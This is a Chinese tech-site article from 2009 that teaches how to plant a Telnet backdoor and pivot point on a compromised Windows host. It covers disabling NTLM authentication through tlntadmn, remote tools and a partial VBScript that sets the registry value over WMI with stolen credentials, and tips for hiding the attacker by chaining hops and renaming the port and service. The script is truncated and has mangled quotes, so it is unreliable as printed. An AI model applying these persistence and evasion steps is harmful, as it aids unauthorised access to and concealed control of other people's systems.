科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道巧用Telnet做后门和跳板

巧用Telnet做后门和跳板

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

Telnet是传输控制协议/因特网协议(TCP/IP)网络(例如Internet)的登录和仿真程序。它最初是由ARPANET开发的,但是现在它主要用于Internet会话。它的基本功能是,允许用户登录进入远程主机系统。Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),Telnet一方面可以用来管理计算机,另外它也经常被入侵者用作后门或者跳板。

来源:网界网 2009年5月13日

关键字: 网络入侵 攻击防范 后门 telnet

  • 评论
  • 分享微博
  • 分享邮件

  Telnet是传输控制协议/因特网协议(TCP/IP)网络(例如Internet)的登录和仿真程序。它最初是由ARPANET开发的,但是现在它主要用于Internet会话。它的基本功能是,允许用户登录进入远程主机系统。Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),Telnet一方面可以用来管理计算机,另外它也经常被入侵者用作后门或者跳板。

  分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记账方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为“登录”。远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。

  使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。

  Telnet远程登录服务分为以下4个过程:

  (1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的IP地址或域名;

  (2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;

  (3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;

  (4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。

  Windows 2000以及后续Windows版本都自带了Telnet客户机和服务器程序,Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还提供了Telnet服务器管理程序tlntadmn.exe。Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面就介绍如何操作telnet服务以及修改注册表的值,在远程服务器上留后门和做跳板。

  1、设置并启动Telnet服务

  在Dos中运行“services.msc”命令打开服务管理器,找到“Telnet”服务后,双击打开,如图1所示,然后单击“启动”按钮将“Telnet”服务启动,并更改该服务的启动类型为“自动”。

  

设置Telnet服务

  图1 设置Telnet服务

  2、使用telnet客户端登陆远程服务器

  在Dos提示符下使用“telnet 218.*.*.*”登陆远程telnet服务器,由于在服务器端没有修改注册表中的NTLM值,因此会出现登陆失败的提示,如图2所示。

  

登陆远程Telnet服务器

  图2登陆远程Telnet服务器

  &说明

  (1)NTLM身份验证选项,默认值是2。为“0”表示不使用 NTLM 身份验证;为“1”表示先尝试NTLM身份验证,如果失败,再使用用户名和密码;为“2”表示只使用 NTLM 身份验证。

  (2)Telnet 服务器侦听 telnet 请求的端口默认是“23”,可以通过Telnet服务器管理程序更改默认端口为其他端口。

  (3)早期的SMB协议在网络上明文传输口令,后来出现了“LAN Manager Challenge/Response”验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。在Telnet中Windows默认采用NTLM认证。

  (4)NTLM工作流程:客户端首先在本地加密当前用户的密码成为密码散列,然后客户端向服务器明文发送自己的帐号,服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战);客户端再用加密后的密码散列来加密这个challenge,然后把这个返回给服务器。作为 response(响应);服务器把用户名、给客户端的challenge、客户端返回的 response这三个东西,发送域控制器;域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密challenge;域控制器比较两次加密的 challenge,如果一样,那么认证成功。

  3、使用Telnet服务器管理程序更改设置

  在肉鸡上输入“tlntadmn”命令,如图3所示,然后输入数字“3”,选择“显示/更改注册表设置”。

  

修改注册表值

  图3 修改注册表值

  &说明

  (1)在Telnet服务器管理程序中还有其它五个输入选项:输入“0”退出管理程序,输入“1”列出当前用户,输入“2”结束一个用户的会话,输入“4”开始服务,输入“5”停止服务。

  (2)在Windows Xp中不能使用Telnet服务器管理程序直接进行管理,只能通过命令行方式进行管理,输入“tlntadmn /?”可以查看其详细帮助。

  4、修改注册表中的NTLM值

  如图4所示,在菜单中选择“7”,接着输入“y”确认修改,然后输入“0”以及输入“y”确认修改,最后输入“0”退出当前菜单。

  

修改NTLM的值为“0”

  图4修改NTLM的值为“0”

  &说明

  (1)本案例是在控制对方计算机的情况下,特别是开启了远程终端的情况下,通过这种方式比较简便;其实还有其它两种方式,比如使用opentelnet.exe(需要管理员权限且开启IPC管道)以及使用RTCS脚本(需要管理员权限但不依赖IPC管道)。

  (2)OpenTelnet 的具体使用方式为:“OpenTelnet.exe \\server username password NTLMAuthor telnetport”,其中NTLMAuthor(验证方式)值填0或1。

  (3)RTCS.vbe 脚本的使用方式为:“cscript RTCS.vbe targetIP username password NTLMAuthor telnetport”,RTCS.vbe代码如下:

  on error resume next

  set outstreem=wscript.stdout

  if (lcase(right(wscript.fullname,11))="wscript.exe") then

  set objShell=wscript.createObject("wscript.shell")

  objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))

  wscript.quit

  end if

  if wscript.arguments.count<5 then

  usage()

  wscript.echo "Not enough parameters."

  wscript.quit

  end if

  ipaddress=wscript.arguments(0)

  username=wscript.arguments(1)

  password=wscript.arguments(2)

  ntlm=wscript.arguments(3)

  port=wscript.arguments(4)

  if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then

  usage()

  wscript.echo “The value of NTML is wrong.”

  wscript.quit

  end if

  if not isnumeric(port) then

  usage()

  wscript.echo “The value of port is wrong.”

  wscript.quit

  end if

  usage()

  outstreem.write “Conneting “&ipaddress&”….”

  set objlocator=createobject(”wbemscripting.swbemlocator”)

  set objswbemservices=objlocator.connectserver(ipaddress,”root/default”,username,password)

  showerror(err.number)

  outstreem.write “Setting NTLM=”&ntlm&”….”

  set objinstance=objswbemservices.get(”stdregprov”)

  set objmethod=objinstance.methods_(”SetDWORDvalue”)

  set objinparam=objmethod.inparameters.spawninstance_()

  objinparam.hdefkey=&h80000002

  objinparam.ssubkeyname=”SOFTWARE\Microsoft\TelnetServer\1.0〃

  (4)通过Telnet服务器管理程序修改注册表的值后需要重启计算机才能使修改生效。

  5、登陆远程Telnet服务器

  使用“telnet ip”命令再次登陆远程Telnet服务器,如图5所示,输入该IP地址的管理员的用户名和密码,验证通过后进入Telnet。

  

登陆远程Telnet服务器

  图5 登陆远程Telnet服务器

  &说明

  (1)登陆telnet成功后,在telnet客户端中就如同在本地的DOS提示符下操作一样,可以执行各种命令,如图6所示,可以查看网络连接情况。

  

 查看网络连接情况

  图6 查看网络连接情况

  (2)使用多重telnet可以达到隐藏自身IP的目的,也就是常说的代理功能,也就是先联入第一个Telnet服务器,然后在第一个Telnet服务器的基础上再联入第二个Telnet服务器,再联入第N个Telnet服务器。这样就不容易被发现了。

  (3)使用Telnet作为后门时可以更改telnet的默认端口23为其它端口,这样就更隐蔽了。修改端口后,还可以更改Telnet的服务名称。

  (4)有的路由器的telnet端口也开放了,如果知道其用户名和密码,将其作为跳板,其效果非常好。

  小结

  到此一个简单的Telnet后门和跳板也就制作成功了,以后就可以使用Telnet来作为跳板来执行各种操作。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章